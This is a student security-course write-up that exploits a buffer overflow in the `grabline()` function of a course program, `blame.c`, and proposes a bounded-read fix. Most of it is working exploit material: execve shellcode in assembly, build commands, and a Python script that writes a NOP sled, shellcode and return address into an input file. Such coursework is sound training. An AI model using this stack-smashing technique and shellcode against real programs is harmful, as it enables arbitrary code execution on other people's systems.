# CS 491 Assignment 2

Spencer Baer | Isaiah Freeman | Kyle Galloway | Brad Wilson

*March 28, 2016*

## Identification

The vulnerability in `blame.c` is a buffer overflow vulnerability in the `grabline()` function.

```
void grabline(char *s)
{
      int c;
      while ((c=getchar()) != EOF)
            *s++ = c;
      *s = '\0';
}
```

The while loop continues until an EOF marker is returned from `getchar()`. This allows an attacker to inject an arbitrarily long sequence of characters. The length of the `scapegoat` buffer is 256 bytes, so any input longer than that will begin to overwrite the stack space above. Our exploit takes advantage of this overflow vulnerability to overwrite the return pointer of the `main()` function and execute a malicious payload that uses an `execve()` call to run a program on the filesystem located at `/tmp/pwn`.

## Mitigation

To fix the buffer overflow exploit, limit the length of the input to the length of the buffer.

```
void grabline(char *s, size_t n)
{
      int c;
      for(size_t i = 1; (c=getchar()) != EOF && i < n; ++i)
            *s++ = c;
      *s ='\0';
}
```

# Exploitation

## Program

A proof-of-concept program is written that produces the desired output. The compiled program is saved to `/tmp/pwn`.

```
#include <stdio.h>

int main(void) { printf("Now I pwn your computer\n"); }
```

## Payload

An assembly program is written that executes a program located at `/tmp/pwn`.

```
; execve("/tmp/pwn", ["/tmp/pwn"], NULL)
; taken from: http://shell-storm.org/shellcode/files/shellcode-603.php

    section .text
            global _start

    _start:
            xor     rdx, rdx
            mov     qword rbx, '/tmp/pwn'
            push    rbx
            mov     rdi, rsp
            push    rax
            push    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
```

## Compile, Link and Dump

The program is compiled and linked. The resulting machine code will become a part of the payload injected into the `scapegoat` buffer.

```
$ nasm –f elf64 payload.asm
$ ld payload.o –o payload
$ objdump –d payload
```

## Input File

A python script is used to generate the input file. Testing with `gdb` showed that there were 264 bytes between the start of the `scapegoat` buffer and the return instruction pointer. The memory address to place into the return instruction pointer was discovered by adding a print statement to `blame.c` that output the address of the `scapegoat` buffer.

```
import sys

payload = ""

payload += "\x90" * 204

payload += "\x48\x31\xd2"
payload += "\x48\xbb\x2f\x74\x6d\x70\x2f"
payload += "\x70\x77\x6e"
payload += "\x53"
payload += "\x48\x89\xe7"
payload += "\x50"
payload += "\x57"
payload += "\x48\x89\xe6"
payload += "\xb0\x3b"
payload += "\x0f\x05"

payload += "\x90" * 34

print "Payload size (without addr): " + str(len(payload))
payload += "\xf0\xe4\xff\xff\xff\x7f"

with open('in.txt', 'w') as outfile:
    outfile.write(payload)
```